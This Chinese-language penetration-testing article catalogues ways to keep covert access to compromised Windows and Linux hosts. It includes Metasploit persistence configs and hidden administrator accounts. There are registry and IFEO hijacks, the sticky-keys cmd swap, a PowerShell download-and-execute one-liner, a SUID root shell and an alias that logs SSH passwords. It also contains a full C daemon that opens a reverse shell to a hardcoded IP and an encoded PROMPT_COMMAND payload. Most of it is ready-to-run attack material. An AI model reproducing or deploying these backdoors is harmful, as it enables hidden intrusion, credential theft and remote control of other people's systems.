原文链接:
0x01 MSF
persistence
msf内置的后渗透权限维持工具persistence
Metsvc
它是通过在已经获得shell的目标主机上开启了一个服务来提供后门的功能。run Metsvc -h
Scheduleme & Schtasksabuse
msf中自动利用计划任务的后门程序,后面会聊到linux和windows平台的计划任务。
run scheduleme -h
# 例子:上传nc并创建计划任务每一分钟执行一次 'nc -e cmd.exe -L -p 8080'
run scheduleme -m 1 -e /tmp/nc.exe -o "-e cmd.exe -L -p 8080"
run Schtasksabuse -h
# 例子:每隔4秒执行一次calc.exe
run schtasksabuse -t 192.168.2.7 -c "cmd /c calc.exe" -d 4
Mof_ps_persist
现在已经找不到这个利用模块,参考:https://github.com/khr0x40sh/metasploit-modules/blob/master/persistence/mof_ps_persist.rb
Autorunscript
获取shell的时候自动执行持续化脚本,可以被Autorunscript执行的命令目录在metasploit/scripts/meterpreter
# persistence
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.2.101
set LPORT 5555
set ExitOnSession false
set AutoRunScript persistence -r 192.168.2.101 -p 5556 -U -X -i 30
exploit
# metsvc
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.2.101
set LPORT 5555
set ExitOnSession false
set AutoRunScript metsvc -A
exploit
0x02 计划任务
无论是windows还是linux操作系统都提供计划任务功能,来实现定时或者周期性的执行一些指令。自然而然我们可以在计划任务中做手脚,埋后门。
windows
- 图形化工具:taskschd.msc
- 命令行工具:schtasks.exe
SCHTASKS /parameter [arguments]
描述:
允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任
务。
参数列表:
/Create 创建新计划任务。
/Delete 删除计划任务。
/Query 显示所有计划任务。
/Change 更改计划任务属性。
/Run 按需运行计划任务。
/End 中止当前正在运行的计划任务。
/ShowSid 显示与计划的任务名称相应的安全标识符。
/? 显示此帮助消息。
Examples:
SCHTASKS
SCHTASKS /?
SCHTASKS /Run /?
SCHTASKS /End /?
SCHTASKS /Create /?
SCHTASKS /Delete /?
SCHTASKS /Query /?
SCHTASKS /Change /?
SCHTASKS /ShowSid /?
Payload examples:
SCHTASKS /Create /TN update /TR xx(待执行的命令) /DELAY ONLOGON /F /RL HIGHEST
linux
- 一次性执行任务:at命令———>atd进程
- 周期性执行任务:crontab命令———>crond进程
在实际的渗透过程中我们更倾向于使用crontab
at
- 1.服务开启
service atd start
- 2.基本格式
at [HH:MM] [yyyy-mm-dd] #没有指定年月日的,默认是当天的。
- 3.查询当前设置的at任务列表
atq #或at -l
- 4.删除指定任务编号的at任务
atrm 编号 #或at -d
- 5.查看计划任务的具体内容
at -c 任务号
- 6.使用文件中的命令作为计划任务(比较少用)
at 时间 -f 文件
- 7.相关文件
/etc/at.deny:#该名单里面的人不可以使用
/etc/at.allow:#只有该名单里面的人可以使用
crontab
注意:
(1)crontab 只会在/sbin、/bin、/usr/sbin、/usr/bin下查找命令,如果命令不在这些目录中,应该要使用绝对路径。
(2)只有root用户可以管理其他用户的周期性任务
(3)crontab在重启后之前的周期性任务无效,anacron可以弥补crontab的缺陷。配置文件:/etc/anacrontab。anacrontab会开机自动检查没有执行的计划任务,然乎逐一执行,这个过程是用户透明的。一般而言,crontab就已经可以满足基本的需求。
- 1.服务开启
service crond start
- 2.编辑计划任务
crontab -e -u 用户名
- 3.查看计划任务
crontab -l -u 用户名
- 4.删除计划任务:
crontab -r -u 用户名
- 相关文件
/var/spool/cron/用户名 #用户定义的设置
/var/log/cron #cron服务的日志文件
/etc/crontab #cron服务配置文件:
anacron
anacron是一个不同于crontab的任务,其只精确到天,用来弥补服务器在宕机下crond调度不周以及缓解计划任务执行过于集中的问题。它需要记录上次执行的时间,并更新到相应的/var/spool/anacron目录下,下次执行的时候会将当前时间和上次记录的时间进行对比,如果满足大于/etc/anacron的配置的天数就会立即执行相应的命令,然后刷新时间。
anacron 命令行参数:
-t 配置文件路径
让anacron从指定配置文件中读取配置,常用于普通用户来管理个人任务
-S spooldir
设定新的spool目录来记录任务执行的时间戳,常用于普通用户来管理个人任务
-T
测试配置文件是否正确
-f
强制执行所有的任务,而不管之前的执行日期是否超过轮回天数
-u
将所有任务的执行日期都更新为当前日期,而不真正的执行任务
-s
串行地执行任务,只有前一个任务完成后才开始下一个任务
0x03 windows权限维持
影子账户
创建一个无法用用户本机用户罗列工具显示的用户,并且赋予管理员权限。所有操作需要有管理员权限。同时测试在windows server 2012服务器域环境下影子账户无法直接进行添加。
用’$’创建匿名用户,并归到administratorsa用户组
net user admin$ Test1 /add net localgroup administrators admin$ /add
导出匿名用户对应的sam目录下的注册表键值
regedt32.exe 打开 HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers键值,导出Names下用户目录以及对应的16进制目录。注意需要给Administrator用户赋予Sam键值权限,默认是不允许的。
删除匿名用户,双击导出的注册表文件,用先前导出的注册表键值对注册表进行修改。则可以重新还原之前的匿名用户,但是除了在注册表里面有用户记录,其他地方都不存在用户的信息。net user
或计算机管理里本地用户和用户组是看不到用户信息的,具有很好的隐蔽性质。
net user admin$ /del
PowerShell后门
Empire框架
Schtasks-Backdoor
msf
use exploit/multi/script/web_delivery
- 设置好参数后的powershell例子:
powershell.exe -ExecutionPolicy Bypass -nop -w hidden -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $V.downloadstring('http://192.168.80.155:8888/');
注册表开机启动
在如下的注册表目录下注入键值HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
,可以实现开机自启动。以windows defender为例:
映像劫持
涉及到的注册表项为IFEO(Image File Execution Options),默认是只有管理员和local system有权读写修改。
“HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options”
大致的原理如下:当我们按照常理运行属于IFEO列表的文件的时候(即可执行文件名在上述的注册表项下,出于简化原因,IFEO使用忽略路径的方式来匹配它所要控制的程序文件名,所以程序无论放在哪个路径,只要名字没有变化,它就可以正常运行。)会执行相关的选项参数,这里我们主要利用的参数是debugger
,通过该参数我们可以实现偷梁换柱。下面以修改IE启动程序为例,实现运行IE程序但是启动的却是计算器。
1. 找到注册表“HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options”目录下的iexplore.exe
2. 添加一个debugger字符串键值,并且赋值为calc.exe的执行路径,“C:Windowssystem32calc.exe”
3. 运行 iexplore.exe,bomb!!!
当然我们也可以在第一步新键一个注册表文件目录,取名为想要覆盖的可执行程序,后续步骤类似。
但是这样明目张胆的偷梁换柱有点张扬,根据安全客那篇文章,修改另外两个注册表键值可以实现原程序退出后静默运行后门程序。以执行notepad为例,退出后静默运行calc.exe
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitnotepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitnotepad.exe" /v MonitorProcess /t REG_SZ /d "C:Windowssystem32calc.exe"
shift后门
这个后门的方式比较老,在windows登陆的时候按五次shift打开cmd进行操作。前提条件是:在将C盘windows目录下面的system32文件夹可写的情况下,将里面的sethc.exe应用程序进行转移,并生成sethc.exe.bak文件。并将cmd.exe拷贝覆盖sethc.exe。
但是在windows xp过后,sethc组件属于完全受信用的用户TrustInstall,我们无法修改名字,这时候即使administrators都只有名义上的只读和可执行权,我们可以手动修改其所属为administrators,步骤如下:
右键属性/安全/高级;
所有者/编辑/添加当前用户/应用/确定;
关闭窗口;
右键属性/安全/编辑;
选择Administrators(或者你的当前组)/勾选完全控制/确定;
0x04 linux权限维持
可以看到windows的权限维持很多时候是基于注册表值,但是linux里面没有注册表项,但是有很多的配置文件选项,可以达到相似的功能。下面介绍一些比较实用的后门手段。
sshd软连接
victim
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
attack
ssh root@x.x.x.x -p 5555
SUID Shell
root 权限下执行如下命令,普通用户运行/dev/.rootshell
即可获得root权限
cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell
alias瞒天过海
我们可以通过alias来指定执行特定的命令时候静默运行其他程序,从而达到启动后门,记录键值等作用。下面举两个实例:
修改ssh命令,利用strace,使其具有记录ssh对read,write,connect调用的功能。
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
利用守护进程回弹shell
alias cat='cat&&/root/.shell'
shell.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>
#include <fcntl.h>
#include <string.h>
#include <sys/stat.h>
#include <signal.h>
#define ERR_EXIT(m)
do
{
perror(m);
exit(EXIT_FAILURE);
}
while (0);
void creat_daemon(void);
int main(void)
{
time_t t;
int fd;
creat_daemon();
system("bash -i >& /dev/tcp/192.168.80.167/8080 0>&1");
return 0;
}
void creat_daemon(void)
{
pid_t pid;
int devnullfd,fd,fdtablesize;
umask(0);
pid = fork();
if( pid == -1)
ERR_EXIT("fork error");
if(pid > 0 )
exit(EXIT_SUCCESS);
if(setsid() == -1)
ERR_EXIT("SETSID ERROR");
chdir("/");
/* close any open file descriptors */
for(fd = 0, fdtablesize = getdtablesize(); fd < fdtablesize; fd++)
close(fd);
devnullfd = open("/dev/null", 0);
/* make STDIN ,STDOUT and STDERR point to /dev/null */
if (devnullfd == -1) {
ERR_EXIT("can't open /dev/null");
}
if (dup2(devnullfd, STDIN_FILENO) == -1) {
ERR_EXIT("can't dup2 /dev/null to STDIN_FILENO");
}
if (dup2(devnullfd, STDOUT_FILENO) == -1) {
ERR_EXIT("can't dup2 /dev/null to STDOUT_FILENO");
}
if (dup2(devnullfd, STDERR_FILENO) == -1) {
ERR_EXIT("can't dup2 /dev/null to STDOUT_FILENO");
}
signal(SIGCHLD,SIG_IGN);
return;
}
linux PAM密码记录后门
pam是一种认证机制,它可帮助管理员快速方便地配置认证方式,并且无需更改服务程序。这种后门主要是通过pam_unix_auth.c打补丁的方式潜入到正常的pam模块中,以此来记录管理员的帐号密码。
PROMPT_COMMAND后门
bash提供了一个环境变量PROMPT_COMMAND,这个变量会在你执行命令前执行一遍。
export PROMPT_COMMAND="lsof -i:1025 &>/dev/null || (python -c "exec('encoded_payload'.decode('base64'))" 2>/dev/null &)"
当然也可以使用prompt_command进行提权,参考:https://www.anquanke.com/post/id/155943
ssh免密后门
把id_rsa.pub写入服务端的/home/[用户名]/.ssh/authorized_keys中。
rootkit
rootit的后门相对比较顽固,有应用级别和系统级别的rootkit,其大致的思路是hook进常规的调用中,是比较硬核的,经常体现在APT攻击中。下面是一个菊苣收集的rootkit后门的链接。具体的细节因为不同的rootkit具体实现不一致,笔者才疏,无法完全弄清楚,仅给出链接,方便日后学习。